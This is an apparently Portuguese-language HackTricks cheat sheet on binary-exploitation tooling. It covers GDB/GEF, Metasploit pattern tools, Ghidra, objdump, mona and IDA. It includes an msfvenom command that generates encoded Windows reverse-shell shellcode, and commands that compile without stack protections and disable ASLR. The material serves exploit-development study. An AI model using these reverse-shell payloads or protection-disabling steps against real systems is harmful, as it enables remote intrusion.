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# Ferramentas de Exploração
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
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* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
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* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## Metasploit
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```bash
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pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodes
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{% code overflow="wrap" %}
```bash
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msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
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{% endcode %}
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## GDB
### Instalação
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```bash
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apt-get install gdb
```
### Parâmetros
```bash
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process
```
### Instruções
```bash
run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit
# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process
# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes
# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate
# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
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Você poderia opcionalmente usar [**este fork do GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) que contém instruções mais interessantes.
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```bash
help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table
# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61
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#Dump memory to file
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
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#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
### Truques
#### Mesmos endereços no GDB
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Durante a depuração, o GDB terá **endereços ligeiramente diferentes dos utilizados pelo binário quando executado.** Você pode fazer com que o GDB tenha os mesmos endereços fazendo o seguinte:
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* `unset env LINES`
* `unset env COLUMNS`
* `set env _=<caminho>` _Coloque o caminho absoluto para o binário_
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* Explorar o binário usando a mesma rota absoluta
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* `PWD` e `OLDPWD` devem ser os mesmos ao usar o GDB e ao explorar o binário
#### Rastrear para encontrar funções chamadas
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Quando você tem um **binário vinculado estaticamente**, todas as funções pertencerão ao binário (e não a bibliotecas externas). Neste caso, será difícil **identificar o fluxo que o binário segue para, por exemplo, solicitar a entrada do usuário**.\
Você pode identificar facilmente este fluxo **executando** o binário com **gdb** até ser solicitado a inserir dados. Em seguida, pare com **CTRL+C** e use o comando **`bt`** (**backtrace**) para ver as funções chamadas:
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```
gef➤ bt
#0 0x00000000004498ae in ?? ()
#1 0x0000000000400b90 in ?? ()
#2 0x0000000000400c1d in ?? ()
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
### Servidor GDB
`gdbserver --multi 0.0.0.0:23947` (no IDA é necessário preencher o caminho absoluto do executável na máquina Linux e na máquina Windows)
## Ghidra
### Encontrar o deslocamento da pilha
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**Ghidra** é muito útil para encontrar o **deslocamento** para uma **sobreposição de buffer graças à informação sobre a posição das variáveis locais.**\
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Por exemplo, no exemplo abaixo, um fluxo de buffer em `local_bc` indica que você precisa de um deslocamento de `0xbc`. Além disso, se `local_10` for um cookie canário, indica que para sobrescrevê-lo a partir de `local_bc` há um deslocamento de `0xac`.\
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_Lembre-se de que os primeiros 0x08 onde o RIP é salvo pertencem ao RBP._
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![](<../../../.gitbook/assets/image (1061).png>)
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## qtool
```bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
Obtenha cada opcode executado no programa.
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## GCC
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compilar sem proteções\
**-o** --> Saída\
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**-g** --> Salvar código (GDB poderá visualizá-lo)\
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**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Desativar o ASLR no linux
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**Para compilar um shellcode:**\
**nasm -f elf assembly.asm** --> retorna um ".o"\
**ld assembly.o -o shellcodeout** --> Executável
## Objdump
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**-d** --> **Desmontar** seções executáveis (ver opcodes de um shellcode compilado, encontrar ROP Gadgets, encontrar endereço de função...)\
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**-Mintel** --> Sintaxe **Intel**\
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**-t** --> Tabela de **Símbolos**\
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**-D** --> **Desmontar tudo** (endereço de variável estática)\
**-s -j .dtors** --> seção dtors\
**-s -j .got** --> seção got\
\-D -s -j .plt --> seção **plt** **descompilada**\
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**-TR** --> **Realocações**\
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**ojdump -t --dynamic-relo ./exec | grep puts** --> Endereço de "puts" para modificar em GOT\
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**objdump -D ./exec | grep "VAR\_NAME"** --> Endereço de uma variável estática (armazenadas na seção DATA).
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## Despejos de núcleo
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1. Execute `ulimit -c unlimited` antes de iniciar meu programa
2. Execute `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\<caminho/core> --quiet
## Mais
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**ldd executável | grep libc.so.6** --> Endereço (se ASLR, então isso muda toda vez)\
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**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop para ver se o endereço muda muito\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Deslocamento de "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Deslocamento de "/bin/sh"
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**strace executável** --> Funções chamadas pelo executável\
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**rabin2 -i ejecutable -->** Endereço de todas as funções
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## **Depurador de imunidade**
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```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
## IDA
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### Debugando em um servidor Linux remoto
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Dentro da pasta do IDA, você pode encontrar binários que podem ser usados para debugar um binário dentro de um Linux. Para fazer isso, mova o binário `linux_server` ou `linux_server64` para dentro do servidor Linux e execute-o dentro da pasta que contém o binário:
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```
./linux_server64 -Ppass
```
Em seguida, configure o depurador: Depurador (remoto linux) --> Opções do processo...:
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![](<../../../.gitbook/assets/image (858).png>)
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<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
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